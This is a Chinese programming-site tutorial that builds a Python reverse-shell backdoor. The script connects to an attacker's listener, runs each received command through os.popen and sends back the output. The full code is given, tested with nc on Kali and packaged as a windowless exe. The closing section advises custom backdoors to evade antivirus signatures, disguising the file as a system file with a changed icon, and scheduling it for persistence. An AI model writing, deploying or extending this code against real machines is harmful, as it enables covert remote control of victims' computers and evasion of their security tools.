使用Python制作一个简易的远控终端

 更新时间:2023年04月04日 15:06:11   作者:T1ngSh0w  
这篇文章主要为大家详细介绍了如何使用Python语言制作一个简易的远控终端,文中的示例代码讲解详细,具有一定的学习价值,感兴趣的可以了解一下

远控终端的本质

1、服务端(攻击者)传输消息 ----> socket连接 ----> 客户端(被攻击者)接收消息

2、客户端执行消息内容(即执行服务端传回来的命令)

3、客户端传输执行结果 ----> socket连接 ----> 服务端显示命令执行结果

python制作简易的远控

1、环境

环境:PyCharm 2021.1.1 x64 + python3.8

2、新建项目

打开pycharm,直接新建一个纯python项目。

将main.py文件中原有的代码全部清空。

3、编写程序

(1)导入需要使用的包

# 导入所需要的包
import os
from socket import *

(2)创建main并配置socket套接字信息

#导入所需要的包
......


if __name__ == '__main__':
    # 1、服务端IP地址
    IP = "192.168.6.142"
    # 2、服务端监听的端口PORT
    PORT = 9999
    # 3、socket套接字
    socket_info = (IP, PORT)

(3)创建连接方法

#导入所需要的包
......

def remote_control(info):
    # 初始化socket连接
    skt = socket(AF_INET, SOCK_STREAM)
    skt.connect(info)
    # 获得客户端角色,便于服务端执行下一步操作
    host = os.popen("whoami").read().strip()
    # 将客户端角色在每次输入命令的都显示,美化格式
    tips = f"$({host}) "
    skt.send(tips.encode())


if __name__ == '__main__':
    ......
	# 4、连接
    remote_control(socket_info)

(4)接收服务端传入的数据(即命令)

# 导入所需要的包
......


def remote_control(info):
    # 初始化socket连接
    ......
    skt.send(tips.encode())
    
    # 建立持续连接
    while True:
        # 接收服务端传入的数据(即命令),以1024个bit为一个单位
        data = skt.recv(1024)
        # 将接收的数据进行utf-8解码,并将左右空格去除
        command = data.decode('utf-8').strip()
        # 如果数据为exit,代表服务端想要断开连接,直接退出程序
        if command == 'exit':
            skt.send("exit\n".encode())
            exit(0)


if __name__ == '__main__':
    ......

(5)执行服务端传入的命令并将结果返回给服务端

# 导入所需要的包
......


def remote_control(info):
    # 初始化socket连接
    ......
    skt.send(tips.encode())
    # 建立持续连接
    while True:
        # 接收服务端传入的数据(即命令),以1024个bit为一个单位
        ......
        if command == 'exit':
            ......
        # 如果数据不为exit,执行数据的内容,即执行服务端传回来的命令,并将执行结果存放在result中
        result = os.popen(command).read()
        # 将命令执行的结果返回给服务端
        skt.send((result + tips).encode())
    # 关闭socket连接
    skt.close()


if __name__ == '__main__':
    ......

代码编写完成!

(6)测试远控终端的可用性

打开一台kali虚拟机(IP为192.168.6.142)作为服务端,使用nc监听9999端口。

连接成功,远控终端制作完成!

4、将python文件打包成exe文件

(1)pip工具安装Pyinstaller模块

Win+R打开运行 --> 输入cmd打开命令窗口

pip install Pyinstaller

(2)切换命令行的路径到需要打包的Python源文件的文件夹路径下

cd 文件路径

(3)打包python文件为exe文件

Pyinstaller -F -w 文件名.py

打包成功!

打包完成后,在要打包文件的同级目录下会新增一个dist文件夹,exe文件就在dist文件夹中。

(4)测试exe文件的可用性

kali服务端监听端口。

点击运行生成的exe文件。

连接成功!python制作远程控制终端完成!

制作远控终端的意义

本篇文章我们研究了python如何制作一个简易的远控终端,上篇我的文章研究了Java如何制作一个简易的远控终端。其实,我们制作的这个远控终端就是一个后门程序。那么大家就想了,我们的CS跟MSF都可以生成后门程序,为什么我们还要自己制作呢?

这是因为,我们不仅可以通过自己制作了解远控程序的原理。而且,由于CS跟MSF生成的后门程序特征比较明显,很多杀毒软件都会杀掉,即使没有杀掉,两三天以后也可能被杀软杀掉,不能做到一个持续化的权限获取,也就是权限维持。而我们自己制作后门程序,是我们自己写的,并没有被公开,杀软就匹配不到我们的特征值,这样杀软就不会杀掉我们的后门程序。如果我们再将我们的后门名称改为系统文件的名称,再改变图标,把后门程序添加到计划任务中,这样我们就可以做到一个很好的一个权限维持。

附完整代码

# 导入所需要的包
import os
from socket import *


def remote_control(info):
    # 初始化socket连接
    skt = socket(AF_INET, SOCK_STREAM)
    skt.connect(info)
    # 获得客户端角色,便于服务端执行下一步操作
    host = os.popen("whoami").read().strip()
    # 将客户端角色在每次输入命令的都显示,美化格式
    tips = f"$({host}) "
    skt.send(tips.encode())
    # 建立持续连接
    while True:
        # 接收服务端传入的数据(即命令),以1024个bit为一个单位
        data = skt.recv(1024)
        # 将接收的数据进行utf-8解码,并将左右空格去除
        command = data.decode('utf-8').strip()
        # 如果数据为exit,代表服务端想要断开连接,直接退出程序
        if command == 'exit':
            skt.send("exit\n".encode())
            exit(0)
        # 如果数据不为exit,执行数据的内容,即执行服务端传回来的命令,并将执行结果存放在result中
        result = os.popen(command).read()
        # 将命令执行的结果返回给服务端
        skt.send((result + tips).encode())
    # 关闭socket连接
    skt.close()


if __name__ == '__main__':
    # 1、服务端IP地址
    IP = "192.168.6.142"
    # 2、服务端监听的端口PORT
    PORT = 9999
    # 3、socket套接字
    socket_info = (IP, PORT)
    # 4、连接
    remote_control(socket_info)

以上就是使用Python制作一个简易的远控终端的详细内容,更多关于Python远控终端的资料请关注脚本之家其它相关文章!

相关文章

  • Python 实现某个功能每隔一段时间被执行一次的功能方法

    Python 实现某个功能每隔一段时间被执行一次的功能方法

    今天小编就为大家分享一篇Python 实现某个功能每隔一段时间被执行一次的功能方法,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2018-10-10
  • win10环境下python3.5安装步骤图文教程

    win10环境下python3.5安装步骤图文教程

    本文通过图文并茂的形式给大家介绍了win10环境下python3.5安装步骤,需要的朋友可以参考下
    2017-02-02
  • 很酷的python表白工具 你喜欢我吗

    很酷的python表白工具 你喜欢我吗

    这篇文章主要为大家分享了一款很酷的python表白工具,可以发给女生表白用,界面简单,实用性强,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
    2019-04-04
  • Python应用利器之缓存机制的妙用详解

    Python应用利器之缓存机制的妙用详解

    在 Python 应用程序中,使用缓存能够显著提高性能并降低资源消耗,本文将详细介绍如何在 Python 中实现缓存机制,感兴趣的小伙伴可以跟随小编一起学习一下
    2023-12-12
  • python+selenium对table表和分页处理

    python+selenium对table表和分页处理

    这篇文章主要介绍了python+selenium对table表和分页处理,文章内容只要包括bulabula2022、table表分页处理、网页table所有内容循环处理等相关内容,需要的小伙伴可以参考一下
    2022-01-01
  • Python模块学习 filecmp 文件比较

    Python模块学习 filecmp 文件比较

    filecmp模块用于比较文件及文件夹的内容,它是一个轻量级的工具,使用非常简单。python标准库还提供了difflib模块用于比较文件的内容。关于difflib模块,且听下回分解
    2012-08-08
  • pycharm配置anaconda环境时找不到python.exe解决办法

    pycharm配置anaconda环境时找不到python.exe解决办法

    今天来说一下python中一个管理包很好用的工具anaconda,可以轻松实现python中各种包的管理,这篇文章主要给大家介绍了关于pycharm配置anaconda环境时找不到python.exe的解决办法,需要的朋友可以参考下
    2023-10-10
  • pygame库pgu使用示例代码

    pygame库pgu使用示例代码

    pgu全称是Phil’s pyGame Utilities,是pygame的一组模块与脚本,其中还有gui集成了一些小模块,现在用pygame制作小游戏的人越来越多,但是pygame它是没有弹窗机制的,今天通过本文给大家介绍pygame库pgu使用示例代码,需要的朋友参考下吧
    2021-08-08
  • Python动态加载模块的3种方法

    Python动态加载模块的3种方法

    这篇文章主要介绍了Python 动态加载模块的3种方法,本文分别使用使用系统函数__import_()、使用imp 模块、使用exec三种方法实现,需要的朋友可以参考下
    2014-11-11
  • 浅析python内置模块collections

    浅析python内置模块collections

    collections是Python内建的一个集合模块,提供了许多有用的集合类。这篇文章主要介绍了python内置模块collections的相关知识,非常不错,具有一定的参考借鉴价值,需要的朋友可以参考下
    2019-11-11

最新评论